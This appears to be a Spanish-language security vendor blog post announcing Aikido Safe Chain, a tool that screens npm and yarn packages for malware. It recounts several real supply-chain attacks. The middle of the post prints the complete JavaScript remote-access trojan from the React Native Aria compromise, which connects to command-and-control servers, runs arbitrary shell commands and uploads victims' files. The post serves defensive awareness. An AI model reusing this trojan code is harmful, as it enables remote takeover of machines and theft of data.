Aikido

Presentamos Safe Chain: Deteniendo paquetes npm maliciosos antes de que arruinen tu proyecto

Escrito por
Mackenzie Jackson

TLDR:
Acabamos de lanzar Aikido Safe-Chain, un wrapper seguro para npm, npx y yarn que se integra en tu flujo de trabajo actual y verifica cada paquete en busca de malware antes de la instalación. Te protege contra la confusión de dependencias, las puertas traseras, los typosquats y otras amenazas de la cadena de suministro en tiempo real sin alterar tu flujo de trabajo.



npm install es básicamente la ruleta rusa del desarrollo moderno. Un paquete incorrecto, un error tipográfico sigiloso, y de repente le has entregado a un grupo APT norcoreano las llaves de tu entorno de producción. ¿Divertido, verdad?

Pero estados-nación, bandas cibercriminales y mantenedores maliciosos han descubierto una cosa: la forma más fácil de vulnerar el software moderno es a través del desarrollador. ¿Y qué mejor manera que introducir malware en los paquetes de código abierto que instalamos ciegamente cada día?

Por eso hemos creado Aikido Safe Chain, un wrapper para npm, npx e incluso yarn que actúa como un portero para tus dependencias. Verifica los paquetes en busca de malware conocido antes de que se instalen en tu proyecto, sin necesidad de cambiar tu flujo de trabajo.

Pero antes de profundizar en cómo Safe-Chain evita que tu máquina de desarrollo se convierta en una botnet de criptominado, hablemos de por qué existe este problema en primer lugar.

¿Por qué los paquetes NPM son un objetivo tan jugoso?

Aquí está la cruda verdad: ya no sabes realmente qué hay en tu aplicación.

Aproximadamente el 70-90% de cualquier pieza de software moderno se compone de código abierto, según la Linux Foundation. Tú no lo escribiste. Tú no lo auditaste. Y aquí está lo más importante: la mayor parte ni siquiera fue instalada directamente por ti. Llegó a través de dependencias transitivas, un término elegante para decir "algún paquete aleatorio a cinco niveles de profundidad decidió traer consigo todo su árbol genealógico."

Una única instalación de npm puede incorporar docenas, a veces cientos, de paquetes, cada uno de los cuales puede ejecutar código arbitrario gracias a los hooks de instalación.

Si un actor malicioso puede introducir su malware en solo uno de esos paquetes, ya sea secuestrando la cuenta de un mantenedor, a través de la confusión de dependencias o publicando una versión con errores tipográficos, pueden afectar a miles de proyectos de una sola vez

No solo palabras: Ataques reales que hemos detectado

Desde principios de 2025, el equipo de seguridad de Aikido ha descubierto una serie de paquetes maliciosos, incluyendo más de 6.000 solo en junio. Aquí hay algunas de las cosas que hemos encontrado. 

La puerta trasera oficial de XRP 

En abril, los atacantes comprometieron el paquete oficial xrpl npm, utilizado para interactuar con la blockchain de XRP. Introdujeron nuevas versiones que exfiltraban discretamente secretos de monedero a un servidor remoto cada vez que se creaba un objeto Wallet.

Si esta puerta trasera hubiera sido instalada por exchanges de criptomonedas, podría haber facilitado los mayores robos de criptomonedas de la historia. El equipo de Aikido detectó las versiones de paquetes manipuladas en los 45 minutos siguientes a su publicación y alertó al equipo de XRP. 

La fiesta RAT de rand-user-agent

Unas semanas más tarde, los atacantes introdujeron un troyano de acceso remoto (RAT) en el paquete rand-user-agent, una utilidad aparentemente aburrida para generar cadenas de navegador falsas. Una vez instalado, el malware creó una puerta trasera, se conectó a un servidor de comando y control, y esperó órdenes como un agente durmiente obediente.

Esto incluía cargas útiles ofuscadas, un secuestro de PATH para Windows, y trucos ingeniosos para instalar módulos adicionales en directorios secretos.

El atacante utilizó espacios en blanco para ocultar código malicioso fuera de la pantalla

Diecisiete librerías, un ataque de estado-nación

Junio fue testigo de un asalto en toda regla al ecosistema React Native Aria: 17 librerías front-end fueron secuestradas a través de un token de mantenedor de GlueStack comprometido. En total, los paquetes tenían más de un millón de descargas semanales, lo que significa que esto podría haber tenido un impacto absolutamente catastrófico en el ecosistema React Native. 

Se insertó una puerta trasera ofuscada como un RAT que permitió al atacante acceso total a la infraestructura en la que se ejecutaba, incluyendo la capacidad de entregar más malware de forma remota.

global._V = '8-npm13';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c("child_process");
    const j = c("crypto");
    const k = f.platform();
    const l = k.startsWith('win');
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === "undefined" ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, "node_modules"));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A('axios');
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          stdio: "inherit",
          "windowsHide": true
        };
        const W = {
          stdio: "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c('axios');
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
    const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
    function L() {
      if (w) {
        return '[eval]' + m + '$' + n;
      }
      return m + '$' + n;
    }
    function M() {
      const Y = j.randomBytes(0x10);
      Y[0x6] = Y[0x6] & 0xf | 0x40;
      Y[0x8] = Y[0x8] & 0x3f | 0x80;
      const Z = Y.toString("hex");
      return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
    }
    function N() {
      const Y = {
        "reconnectionDelay": 0x1388
      };
      G = F(J, Y);
      G.on("connect", () => {
        const Z = L();
        const a0 = {
          "clientUuid": Z,
          "processId": H,
          "osType": o
        };
        G.emit('identify', "client", a0);
      });
      G.on("disconnect", () => {});
      G.on("command", S);
      G.on("exit", () => {
        if (!w) {
          process.exit();
        }
      });
    }
    async function O(Y, Z, a0, a1) {
      try {
        const a2 = new E();
        a2.append("client_id", Y);
        a2.append("path", a0);
        Z.forEach(a4 => {
          const a5 = g.basename(a4);
          a2.append(a5, h.createReadStream(a4));
        });
        const a3 = await D.post(K + "/u/f", a2, {
          'headers': a2.getHeaders()
        });
        if (a3.status === 0xc8) {
          G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
        } else {
          G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
        }
      } catch (a4) {
        G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
      }
    }
    async function P(Y, Z, a0, a1) {
      try {
        let a2 = 0x0;
        let a3 = 0x0;
        const a4 = Q(Z);
        for (const a5 of a4) {
          if (I[a1].stopKey) {
            G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
            return;
          }
          const a6 = g.relative(Z, a5);
          const a7 = g.join(a0, g.dirname(a6));
          try {
            await O(Y, [a5], a7, a1);
            a2++;
          } catch (a8) {
            a3++;
          }
        }
        G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
      } catch (a9) {
        G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
      }
    }
    function Q(Y) {
      let Z = [];
      const a0 = h.readdirSync(Y);
      a0.forEach(a1 => {
        const a2 = g.join(Y, a1);
        const a3 = h.statSync(a2);
        if (a3 && a3.isDirectory()) {
          Z = Z.concat(Q(a2));
        } else {
          Z.push(a2);
        }
      });
      return Z;
    }
    function R(Y) {
      const Z = Y.split(':');
      if (Z.length < 0x2) {
        const a4 = {
          "valid": false,
          "message": "Command is missing \":\" separator or parameters"
        };
        return a4;
      }
      const a0 = Z[0x1].split(',');
      if (a0.length < 0x2) {
        const a5 = {
          "valid": false,
          "message": "Filename or destination is missing"
        };
        return a5;
      }
      const a1 = a0[0x0].trim();
      const a2 = a0[0x1].trim();
      if (!a1 || !a2) {
        const a6 = {
          "valid": false,
          "message": "Filename or destination is empty"
        };
        return a6;
      }
      const a3 = {
        "valid": true,
        filename: a1,
        destination: a2
      };
      return a3;
    }
    function S(Y, Z) {
      if (!Z) {
        const a1 = {
          "valid": false,
          "message": "User UUID not provided in the command."
        };
        return a1;
      }
      if (!I[Z]) {
        const a2 = {
          "currentDirectory": x,
          commandQueue: [],
          "stopKey": false
        };
        I[Z] = a2;
      }
      const a0 = I[Z];
      a0.commandQueue.push(Y);
      T(Z);
    }
    async function T(Y) {
      let Z = I[Y];
      while (Z.commandQueue.length > 0x0) {
        const a0 = Z.commandQueue.shift();
        let a1 = '';
        if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
          const a2 = a0.slice(0x2).trim();
          try {
            process.chdir(Z.currentDirectory);
            process.chdir(a2 || '.');
            Z.currentDirectory = process.cwd();
          } catch (a3) {
            a1 = "Error: " + a3.message;
          }
        } else {
          if (a0 === 'ss_info') {
            a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
          } else {
            if (a0 === "ss_ip") {
              a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
            } else {
              if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
                const a4 = R(a0);
                if (!a4.valid) {
                  a1 = "Invalid command format: " + a4.message + "\n";
                  G.emit('response', a1, Y);
                  continue;
                }
                const {
                  filename: a5,
                  destination: a6
                } = a4;
                Z.stopKey = false;
                a1 = " >> starting upload\n";
                if (a0.startsWith("ss_upf")) {
                  O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
                } else if (a0.startsWith("ss_upd")) {
                  P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
                }
              } else {
                if (a0.startsWith("ss_dir")) {
                  process.chdir(x);
                  Z.currentDirectory = process.cwd();
                } else {
                  if (a0.startsWith('ss_fcd')) {
                    const a7 = a0.split(':');
                    if (a7.length < 0x2) {
                      a1 = "Command is missing \":\" separator or parameters";
                    } else {
                      const a8 = a7[0x1];
                      process.chdir(a8);
                      Z.currentDirectory = process.cwd();
                    }
                  } else {
                    if (a0.startsWith("ss_stop")) {
                      Z.stopKey = true;
                    } else {
                      try {
                        const a9 = {
                          "cwd": Z.currentDirectory,
                          windowsHide: true
                        };
                        if (l) {
                          try {
                            const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
                            const ac = {
                              ...process.env
                            };
                            ac.PATH = ab + ';' + process.env.PATH;
                            a9.env = ac;
                          } catch (ad) {}
                        }
                        if (a0[0x0] === '*') {
                          a9.detached = true;
                          a9.stdio = "ignore";
                          const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
                          const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
                          i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
                        } else {
                          i.exec(a0, a9, (ag, ah, ai) => {
                            let aj = "\n";
                            if (ag) {
                              aj += "Error executing command: " + ag.message;
                            }
                            if (ai) {
                              aj += "Stderr: " + ai;
                            }
                            aj += ah;
                            aj += Z.currentDirectory + "> ";
                            G.emit("response", aj, Y);
                          });
                        }
                      } catch (ag) {
                        a1 = "Error executing command: " + ag.message;
                      }
                    }
                  }
                }
              }
            }
          }
        }
        a1 += Z.currentDirectory + "> ";
        G.emit("response", a1, Y);
      }
    }
    function U() {
      H = M();
      N(H);
    }
    U();
  } catch (Y) {}
})();

Exploits invisibles, ofuscación y espacios en blanco

Puede que pienses que detectar malware sería bastante fácil, llamando a IPs remotas, scripts de instalación extraños o código fuertemente ofuscado. Si bien algunos tipos de malware son más fáciles de detectar que otros, incluso si hicieras una revisión completa del código de todas tus dependencias (buena suerte), algunos son tan sofisticados que pasarían desapercibidos. Por ejemplo, el os-info-checker-es6 utilizó caracteres Unicode invisibles, no visibles en un editor de código normal, para entregar su malware. O malware entregado en imágenes como *****, o quizás el más humorístico, malware oculto por espacios en blanco (un método de ofuscación estúpido pero sorprendentemente efectivo) como react-html2pdf.js 

PUA de Unicode invisibles no visibles en editores de código o en la vista de código de NPM

Por qué Safe-Chain es la herramienta que necesitas ahora mismo

Todos amamos el código abierto. ¿Pero las herramientas de seguridad modernas? No tanto. A menudo son torpes, ruidosas y te hacen sentir como si estuvieras intentando aprender a volar un caza. 

demo
Safe Chain en acción

Obtienes la misma experiencia de desarrollador, solo que con un chaleco de Kevlar debajo.

Por qué Safe Chain supera con creces a otras herramientas

Herramientas como npm audit y npq no solo deben ejecutarse como pasos adicionales, sino que también se basan en CVEs públicos o heurísticas básicas. Son adecuadas para problemas conocidos, pero no detectan los zero-days, y el tiempo entre la aparición de un paquete malicioso y su notificación es de unos 10 días. Tiempo suficiente para que los actores de amenazas se incrusten profundamente en tu infraestructura. 

Safe-Chain está impulsado por Aikido Intel, nuestra pipeline de amenazas que detecta alrededor de 200 paquetes maliciosos al día, antes de que aparezcan en las bases de datos de vulnerabilidades.

Y a diferencia de otras herramientas que detectan amenazas a posteriori, Safe-Chain las detiene antes de que se instalen. Nada se rompe, excepto los sueños del posible atacante.

Reflexiones finales: No esperes. Verifica.

El ecosistema npm es una maravilla moderna, una catedral de colaboración, velocidad y... malware. No podemos cambiar el mundo del código abierto de la noche a la mañana, pero podemos darte las herramientas para navegar por él de forma segura.

La esperanza no es una estrategia de seguridad.

Con Safe-Chain, no estás adivinando. Estás verificando. Cada instalación de npm se escanea en tiempo real. Sin puertas traseras. Sin robo de criptomonedas. Sin RATs sorpresa de fiesta en tu portátil.

Instala Safe Chain Hoy

Instalar Aikido Safe Chain es fácil. Solo necesitas 3 sencillos pasos:

Instala el paquete Aikido Safe Chain globalmente usando npm:
npm install -g @aikidosec/safe-chain

Configura la integración de shell ejecutando:
safe-chain setup

❗Reinicia tu terminal para empezar a usar Aikido Safe Chain.

  • Este paso es crucial, ya que asegura que los alias de shell para npm, npx y yarn se carguen correctamente. Si no reinicias tu terminal, los alias no estarán disponibles.

Verifica la instalación ejecutando:
npm install safe-chain-test

  • La salida debería mostrar que Aikido Safe Chain está bloqueando la instalación de este paquete ya que está marcado como malware. (La instalación de este paquete no conlleva ningún riesgo)

Compartir:

https://www.aikido.dev/blog/introducing-safe-chain

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy mismo, gratis.

Empieza gratis
Sin tarjeta

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.